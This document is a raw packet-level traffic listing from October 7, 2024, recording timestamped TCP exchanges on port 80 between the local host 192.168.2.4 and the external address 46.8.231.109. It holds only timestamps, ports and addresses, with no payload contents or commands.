Oct 7, 2024 03:03:09.372052908 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.372127056 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.372140884 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.372154951 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.372159958 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.372168064 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.372183084 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.372198105 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.372205973 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.372205973 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.372212887 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.372230053 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.372241974 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.372258902 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.372276068 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.372291088 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.372312069 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.372323036 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.372323036 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.372359037 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.372417927 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.372467995 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.372483969 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.372494936 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.372530937 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.372530937 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.372554064 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.372569084 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.372584105 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.372596979 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.372608900 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.372608900 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.372621059 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.372649908 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.372668028 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.372683048 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.372695923 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.372709036 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.372718096 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.372730017 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.372730017 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.372731924 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.372760057 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.372760057 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.372798920 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.372812986 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.372838020 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.372848034 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.372862101 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.372875929 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.372889996 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.372900009 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.372916937 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.372916937 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.372967005 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.372981071 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.372994900 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.373008013 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.373016119 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.373016119 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.373034000 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.373058081 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.373071909 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.373074055 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.373107910 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.373107910 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.373121977 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.373136044 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.373150110 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.373162985 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.373171091 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.373171091 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.373177052 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.373188972 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.373208046 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.373208046 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.373250008 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.373264074 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.373276949 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.373292923 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.373292923 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.373311996 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.373333931 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.373347998 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.373362064 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.373374939 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.373374939 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.373389959 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.373411894 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.373425961 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.373450994 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.373460054 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.373461962 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.373472929 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.373486996 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.373506069 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.373506069 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.373526096 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.373574972 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.373589039 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.373601913 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.373615980 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.373622894 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.373622894 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.373630047 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.373632908 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.373666048 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.373666048 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.373675108 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.373688936 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.373713017 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.373718023 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.373733044 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.373737097 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.373748064 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.373749971 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.373779058 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.373779058 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.373826981 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.373842001 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.373877048 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.373877048 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.373938084 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.373970985 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.373985052 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.374032974 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.374052048 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.374064922 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.374098063 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.374104977 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.374104977 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.374129057 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.374146938 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.374174118 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.374212027 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.374212027 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.426282883 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.426326990 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.426395893 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.426429987 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.426461935 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.426495075 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.426513910 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.426513910 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.426527023 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.426554918 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.426578999 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.426587105 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.426629066 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.453290939 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.453314066 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.453329086 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.453342915 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.453372002 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.453372955 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.453372955 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.453391075 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.453402996 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.453406096 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.453422070 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.453435898 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.453449011 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.453460932 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.453460932 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.453464031 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.453478098 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.453485966 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.453505993 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.453520060 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.453524113 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.453524113 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.453537941 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.453566074 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.453566074 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.453578949 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.453602076 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.453615904 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.453629971 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.453675985 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.453675985 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.453675985 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.491795063 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.496629953 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.668307066 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.668346882 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.668359995 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.668374062 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.668389082 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.668397903 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.668404102 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.668422937 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.668426991 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.668451071 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.668466091 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.668468952 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.668479919 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.668493032 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.668493032 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.668513060 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.668517113 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.668525934 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.668539047 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.668570042 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.668570042 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.668575048 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.668589115 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.668605089 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.668629885 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.668629885 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.668658972 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.668673038 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.668688059 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.668689966 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.668689966 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.668730974 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.668730974 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.668735027 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.668751001 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.668777943 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.668797016 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.668812037 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.668823957 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.668827057 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.668833017 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.668864965 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.668864965 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.668906927 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.668921947 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.668961048 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.668961048 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.668971062 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.668986082 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.669008017 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.669023037 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.669023037 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.669023037 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.669047117 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.669069052 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.669096947 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.669106007 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.669106007 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.669111967 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.669135094 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.669219017 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.669233084 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.669243097 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.669246912 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.669261932 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.669267893 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.669267893 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.669286966 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.669328928 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.669332027 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.669347048 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.669373989 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.669384003 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.669384003 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.669389009 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.669425011 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.669425011 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.669456959 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.669471025 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.669485092 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.669498920 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.669509888 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.669509888 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.669537067 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.669540882 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.669540882 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.669557095 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.669573069 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.669581890 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.669610023 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.669610023 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.669636011 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.669651031 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.669689894 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.669689894 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.669735909 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.669750929 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.669764996 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.669779062 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.669780970 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.669796944 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.669806004 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.669815063 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.669843912 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.669843912 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.669883013 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.669909954 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.669924021 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.669946909 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.669946909 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.669994116 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.670010090 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.670023918 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.670037985 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.670052052 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.670080900 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.670080900 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.670099974 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.670133114 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.670209885 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.670219898 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.670234919 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.670248985 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.670263052 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.670277119 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.670277119 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.670279026 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.670293093 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.670295000 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.670304060 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.670336008 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.670336008 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.670376062 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.670389891 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.670403957 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.670417070 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.670425892 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.670425892 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.670437098 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.670444965 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.670474052 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.670474052 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.670483112 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.670530081 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.670545101 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.670562029 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.670569897 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.670624971 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.670628071 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.670639992 CEST	80	49731	46.8.231.109	192.168.2.4
